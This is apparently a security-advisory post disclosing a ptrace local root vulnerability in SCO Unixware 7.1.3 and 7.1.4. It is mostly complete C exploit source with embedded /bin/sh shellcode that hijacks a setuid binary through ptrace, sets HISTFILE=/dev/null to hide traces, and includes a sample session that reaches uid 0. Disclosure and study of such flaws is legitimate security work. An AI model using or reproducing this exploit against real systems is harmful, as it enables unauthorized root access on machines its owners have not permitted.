[EXPL] SCO Unixware ptrace Local Privilege Escalation Exploit

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SCO Unixware ptrace Local Privilege Escalation Exploit
------------------------------------------------------------------------


SUMMARY

<http://www.caldera.com/products/unixware> SCO Unixware is a Unix
operating system that runs on many OEM platforms.

A vulnerability in the SCO Unixware kernel allows unprivileged users to
debug binaries. The condition can be exploited by an attacker when he has
execute permissions to a file which has the suid bit set.

DETAILS

Vulnerable Systems:
* SCO Unixware 7.1.3 and 7.1.4. (previous versions are suspected to be
vulnerable.)

Exploit:
/* SCO Unixware 7.1.3 ptrace local root exploit
* ============================================
* SCO Unixware 7.1.3 kernel allows unprivledged users
* to debug binaries. The condition can be exploited
* by an attacker when he has execute permissions to
* a file which has the suid bit set.
*
* Example.
*
* $ uname -a
* UnixWare iron 5 7.1.3 i386 x86at SCO UNIX_SVR5
* $ /linux/bin/bash
* bash-2.05$ uname -a
* Linux iron.fi.st 2.4.13 #1 Thu Oct 31 02:32:23 EST 2002 i686 unknown
* bash-2.05$ id
* uid=122(matt) gid=1(other) groups=1(other)
* bash-2.05$ ./fu /unixware/usr/lib/sendmail
* [ SCO Unixware 7.1.3 ptrace local root exploit
* [ Using 0xbfffed78
* sh-2.05# id
* uid=0(root) gid=1(other) groups=1(other)
* sh-2.05#
*
* - prdelka
*/
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <syscall.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <errno.h>
#include <asm/user.h>


char shellcode[]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x31\xdb\x8d\x43\x17\xcd\x80\x31\xc0"
"\x50\x68""//sh""\x68""/bin""\x89\xe3\x50"
"\x53\x89\xe1\x99\xb0\x0b\xcd\x80";


int main(int argc,char* argv[])
{
int esp, eip, i = 0;
struct user_regs_struct regs;
char *env[] = {"HISTFILE=/dev/null",NULL};
pid_t pid;
printf("[ SCO Unixware 7.1.3 local root exploit\n");
if(argc < 2)
{
printf("[ Usage: [binary]\n");
printf("[ e.g -rwsr-sr-x root root /linux/opt/kde2/bin/kcheckpass\n");
exit(0);
}
switch (pid = fork())
{
case -1:
perror("fork");
break;
case 0:
ptrace(PTRACE_TRACEME, 0, 0, 0);
pid = getpid();
execle(argv[1],argv[1],NULL,env);
break;
default:
waitpid(pid, NULL, 0);
ptrace(PTRACE_GETREGS, pid, NULL, &regs);
esp = eip = regs.esp - 512;
while (i < strlen(shellcode))
{
ptrace(PTRACE_POKETEXT, pid, esp, (int) *(int *) (shellcode + i));
i += 4;
esp += 4;
}
regs.eip = (long) eip;
printf("[ Using 0x%x\n",regs.eip);
ptrace(PTRACE_SETREGS, pid, NULL, &regs);
ptrace(PTRACE_DETACH, pid, NULL,NULL);
}
usleep(1);
wait(0);
return 0;
}


ADDITIONAL INFORMATION

The information has been provided by prdelka.
The original article can be found at:
<http://prdelka.blackart.org.uk/exploitz/prdelka-vs-SCO-ptrace.c>
http://prdelka.blackart.org.uk/exploitz/prdelka-vs-SCO-ptrace.c



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